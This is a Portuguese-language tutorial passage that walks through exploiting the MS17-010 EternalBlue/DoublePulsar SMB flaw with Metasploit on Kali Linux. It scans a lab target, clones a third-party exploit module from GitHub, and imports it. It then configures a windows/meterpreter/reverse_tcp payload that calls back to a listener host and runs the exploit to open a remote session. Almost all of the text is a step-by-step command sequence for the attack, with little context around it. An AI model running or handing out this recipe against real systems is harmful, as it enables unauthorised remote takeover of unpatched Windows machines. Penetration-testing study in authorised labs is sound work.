Caso tenha problemas com o Wine, considere utilizar as 4 primeiras linhas em vermelho:

```
root@kali:~# dpkg --add-architecture i386

root@kali:~# apt-get update

root@kali:~#  apt-get install wine32

root@kali:~# mkdir -p /root/.wine/drive_c/

root@kali:~# msfconsole

msf > use auxiliary/scanner/smb/smb_ms17_010

msf auxiliary(smb_ms17_010) > set rhosts 192.168.107.137

msf auxiliary(smb_ms17_010) > run
```

Sabendo que o sistema alvo provavelmente está vulnerável a falha, teremos que importar o código de exploração para dentro do Metasploit, dessa vez o código ainda não foi assimilado como exploit padrão pertencente ao framework, entretanto essa condição nos permite aprender como funciona o processo de importação de exploit em Ruby para dentro do Metasploit. Vamos importar nosso código através da plataforma Git.

```
root@kali:~# git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git
```

Ao termino do processo de download poderemos ver os componentes do exploit dentro do diretório que escolhemos para baixá-lo, então copiaremos o módulo eternalblue_doublepulsar.rb para dentro do diretório **/usr/share/metasploit-framework/modules/exploits/windows/smb.**

Dentro do diretório que baixamos pela plataforma git poderemos fazer uma cópia já no diretório desejado utilizando o comando:

```
root@kali:~# cp eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/
```

Agora devemos voltar ao msfconsole e verificar a disponibilidade do módulo:

```
root@kali:~# msfconsole

msf > use windows/smb/eternalblue_doublepulsar

msf exploit(eternalblue_doublepulsar) > show options
```

Devemos então configurar as opções do módulo para refletir o diretório onde foi baixado, a primeira opção **DOUBLEPULSARPATH** precisa ser configurada com o caminho para o diretório onde a pasta "deps" foi baixada:

```
msf exploit(eternalblue_doublepulsar) > set DOUBLEPULSARPATH /root/Eternalblue-Doublepulsar-Metasploit/deps

msf exploit(eternalblue_doublepulsar) > set ETERNALBLUEPATH /root/Eternalblue-Doublepulsar-Metasploit/deps

msf exploit(eternalblue_doublepulsar) > set WINEPATH /root/.wine/drive_c/

msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT explorer.exe
```

```
msf exploit(eternalblue_doublepulsar) > set TARGETARCHITECTURE x86

msf exploit(eternalblue_doublepulsar) > set RHOST 192.168.107.137

msf exploit(eternalblue_doublepulsar) > show targets

msf exploit(eternalblue_doublepulsar) > set TARGET 8

msf exploit(eternalblue_doublepulsar) > set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(eternalblue_doublepulsar) > set LHOST 192.168.107.141

msf exploit(eternalblue_doublepulsar) > exploit
```

Se todo tudo foi informado corretamente, teremos conseguido uma sessão na máquina alvo com o meterpreter:

```
meterpreter > getuid
```